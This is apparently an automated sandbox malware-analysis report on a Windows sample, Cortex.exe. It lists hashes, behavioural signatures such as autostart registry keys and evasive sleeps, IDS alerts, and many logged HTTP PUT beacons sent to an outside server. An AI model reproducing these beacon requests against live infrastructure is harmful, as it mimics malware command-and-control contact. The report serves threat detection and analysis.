Windows Analysis Report
Cortex.exe

Overview

General Information

Sample name: Cortex.exe
Analysis ID: 1520709
MD5: ad6a1e1dcd332f8c9b4fe0884f64afd8
SHA1: ec98e8e593a9889e5e92a6a9924f059de368b655
SHA256: e19fcaf34fc07eca893fc09d4451da969a928df3ca1e9d742457f4b93b15f57e
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Suricata IDS alerts for network traffic
AI detected suspicious sample
Creates multiple autostart registry keys
May use the Tor software to hide its network traffic
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication

Classification

AV Detection
barindex
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.7% probability
Uses 32bit PE files
Source: Cortex.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 16.12.9.22:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 16.12.9.22:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 92.53.116.138:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: Cortex.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2025161 - Severity 1 - ET MALWARE Windows executable sent when remote host claims to send an image M4 : 16.12.9.22:443 -> 192.168.2.5:49705
Source: Network traffic Suricata IDS: 2025169 - Severity 1 - ET MALWARE Windows Executable Downloaded With Image Content-Type Header : 16.12.9.22:443 -> 192.168.2.5:49705
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 92.53.116.138 92.53.116.138
Source: Joe Sandbox View IP Address: 94.241.141.101 94.241.141.101
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49799 -> 92.53.116.138:443
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49801 -> 92.53.116.138:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26Data Raw: 36 37 35 30 35 32 33 46 44 44 32 42 32 38 0d 0a 0d 0a 53 45 54 46 49 4d 0d 0a Data Ascii: 6750523FDD2B28SETFIM
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26Data Raw: 36 37 35 30 35 32 33 46 44 44 32 42 32 38 0d 0a 0d 0a 53 45 54 46 49 4d 0d 0a Data Ascii: 6750523FDD2B28SETFIM
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
